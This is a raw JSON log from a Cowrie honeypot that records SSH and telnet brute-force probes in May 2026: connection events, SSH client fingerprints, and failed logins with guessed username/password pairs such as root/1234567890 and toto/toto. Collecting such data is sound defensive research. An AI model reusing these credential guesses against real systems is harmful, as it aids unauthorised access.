{"eventid":"cowrie.login.failed","username":"root","password":"1234567890","message":"login attempt [root/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:58:59.621779Z","src_ip":"31.40.204.166","session":"19a82c19a8e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:59:00.787495Z","src_ip":"31.40.204.166","session":"19a82c19a8e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":8.228225231170654,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:59:01.738673Z","src_ip":"152.42.224.71","session":"409402fac6b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52184,"dst_ip":"10.17.0.5","dst_port":23,"session":"39df94773747","protocol":"telnet","message":"New connection: 152.42.224.71:52184 (10.17.0.5:23) [session: 39df94773747]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:59:03.291000Z"}
{"eventid":"cowrie.session.closed","duration":111.82913255691528,"message":"Connection lost after 111 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:59:03.774070Z","src_ip":"152.42.224.71","session":"068eb5c08dea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52186,"dst_ip":"10.17.0.5","dst_port":23,"session":"658674baf3f5","protocol":"telnet","message":"New connection: 152.42.224.71:52186 (10.17.0.5:23) [session: 658674baf3f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:59:04.315673Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39394,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ba6c5e09b66","protocol":"telnet","message":"New connection: 152.42.224.71:39394 (10.17.0.5:23) [session: 9ba6c5e09b66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:59:08.876069Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":37426,"dst_ip":"159.203.135.109","dst_port":22,"session":"540c4cf90c26","protocol":"ssh","message":"New connection: 31.40.204.166:37426 (159.203.135.109:22) [session: 540c4cf90c26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:59:10.605551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:59:10.622787Z","src_ip":"31.40.204.166","session":"540c4cf90c26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:59:10.816607Z","src_ip":"31.40.204.166","session":"540c4cf90c26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"mc","message":"login attempt [minecraft/mc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:59:11.395400Z","src_ip":"31.40.204.166","session":"540c4cf90c26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:59:12.526426Z","src_ip":"31.40.204.166","session":"540c4cf90c26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39406,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f2ef24d0b28","protocol":"telnet","message":"New connection: 152.42.224.71:39406 (10.17.0.5:23) [session: 7f2ef24d0b28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:59:16.690682Z"}
{"eventid":"cowrie.session.closed","duration":31.968450784683228,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:59:17.807210Z","src_ip":"152.42.224.71","session":"829082df3d2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46352,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cdd7cc087fe","protocol":"telnet","message":"New connection: 152.42.224.71:46352 (10.17.0.5:23) [session: 4cdd7cc087fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:59:19.601720Z"}
{"eventid":"cowrie.session.closed","duration":43.15623736381531,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:59:20.113210Z","src_ip":"152.42.224.71","session":"cb5aa7989b73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":47658,"dst_ip":"159.203.135.109","dst_port":22,"session":"909e97529936","protocol":"ssh","message":"New connection: 31.40.204.166:47658 (159.203.135.109:22) [session: 909e97529936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:59:21.987769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:59:22.191633Z","src_ip":"31.40.204.166","session":"909e97529936","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:59:22.195155Z","src_ip":"31.40.204.166","session":"909e97529936","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"toto","password":"toto","message":"login attempt [toto/toto] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:59:22.987441Z","src_ip":"31.40.204.166","session":"909e97529936","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:59:24.192583Z","src_ip":"31.40.204.166","session":"909e97529936","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46366,"dst_ip":"10.17.0.5","dst_port":23,"session":"1384c9ca0882","protocol":"telnet","message":"New connection: 152.42.224.71:46366 (10.17.0.5:23) [session: 1384c9ca0882]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:59:25.071994Z"}
{"eventid":"cowrie.session.closed","duration":120.00344014167786,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:59:27.640251Z","src_ip":"152.42.224.71","session":"672720f655b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":27.284879684448242,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:59:31.600427Z","src_ip":"152.42.224.71","session":"658674baf3f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41490,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f0be9d1b0f5","protocol":"telnet","message":"New connection: 152.42.224.71:41490 (10.17.0.5:23) [session: 4f0be9d1b0f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:59:33.204447Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41496,"dst_ip":"10.17.0.5","dst_port":23,"session":"bde190663b31","protocol":"telnet","message":"New connection: 152.42.224.71:41496 (10.17.0.5:23) [session: bde190663b31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:59:33.634392Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":33088,"dst_ip":"159.203.135.109","dst_port":22,"session":"02673ae8e9e9","protocol":"ssh","message":"New connection: 31.40.204.166:33088 (159.203.135.109:22) [session: 02673ae8e9e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:59:33.812629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:59:33.886947Z","src_ip":"31.40.204.166","session":"02673ae8e9e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:59:34.106490Z","src_ip":"31.40.204.166","session":"02673ae8e9e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"123456","message":"login attempt [amir/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:59:34.623694Z","src_ip":"31.40.204.166","session":"02673ae8e9e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:59:35.794043Z","src_ip":"31.40.204.166","session":"02673ae8e9e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":28.652642726898193,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:59:37.528564Z","src_ip":"152.42.224.71","session":"9ba6c5e09b66","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":53312,"dst_ip":"10.17.0.5","dst_port":22,"session":"da60b6437863","protocol":"ssh","message":"New connection: 103.153.68.219:53312 (10.17.0.5:22) [session: da60b6437863]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:59:38.851088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:59:38.858661Z","src_ip":"103.153.68.219","session":"da60b6437863","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:59:39.105556Z","src_ip":"103.153.68.219","session":"da60b6437863","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35492,"dst_ip":"10.17.0.5","dst_port":23,"session":"464f8d7283d0","protocol":"telnet","message":"New connection: 152.42.224.71:35492 (10.17.0.5:23) [session: 464f8d7283d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:59:39.342022Z"}
{"eventid":"cowrie.session.closed","duration":23.095432996749878,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:59:39.785997Z","src_ip":"152.42.224.71","session":"7f2ef24d0b28","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"242424","message":"login attempt [root/242424] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:59:39.859541Z","src_ip":"103.153.68.219","session":"da60b6437863","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:59:41.109071Z","src_ip":"103.153.68.219","session":"da60b6437863","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35498,"dst_ip":"10.17.0.5","dst_port":23,"session":"7562a8dfbb14","protocol":"telnet","message":"New connection: 152.42.224.71:35498 (10.17.0.5:23) [session: 7562a8dfbb14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:59:41.940071Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35502,"dst_ip":"10.17.0.5","dst_port":23,"session":"834e6e853eb4","protocol":"telnet","message":"New connection: 152.42.224.71:35502 (10.17.0.5:23) [session: 834e6e853eb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:59:42.179593Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":51600,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8ff72b3b447","protocol":"ssh","message":"New connection: 31.40.204.166:51600 (159.203.135.109:22) [session: f8ff72b3b447]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:59:45.481870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:59:45.490284Z","src_ip":"31.40.204.166","session":"f8ff72b3b447","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:59:45.616330Z","src_ip":"31.40.204.166","session":"f8ff72b3b447","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu-server","password":"123456","message":"login attempt [ubuntu-server/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:59:46.099585Z","src_ip":"31.40.204.166","session":"f8ff72b3b447","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38202,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3ecf3ba5c97","protocol":"telnet","message":"New connection: 152.42.224.71:38202 (10.17.0.5:23) [session: c3ecf3ba5c97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:59:47.176893Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:59:47.403576Z","src_ip":"31.40.204.166","session":"f8ff72b3b447","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":47128,"dst_ip":"159.203.135.109","dst_port":22,"session":"08fc2ee6f6c1","protocol":"ssh","message":"New connection: 193.228.128.84:47128 (159.203.135.109:22) [session: 08fc2ee6f6c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:59:50.742468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:59:50.747985Z","src_ip":"193.228.128.84","session":"08fc2ee6f6c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:59:50.849654Z","src_ip":"193.228.128.84","session":"08fc2ee6f6c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vfvekz","message":"login attempt [root/vfvekz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:59:51.157895Z","src_ip":"193.228.128.84","session":"08fc2ee6f6c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:59:52.263759Z","src_ip":"193.228.128.84","session":"08fc2ee6f6c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":112.72933864593506,"message":"Connection lost after 112 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:59:56.695014Z","src_ip":"152.42.224.71","session":"a8bb6c950ee0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":49384,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6c4053a75f2","protocol":"ssh","message":"New connection: 31.40.204.166:49384 (159.203.135.109:22) [session: a6c4053a75f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:59:57.285950Z"}
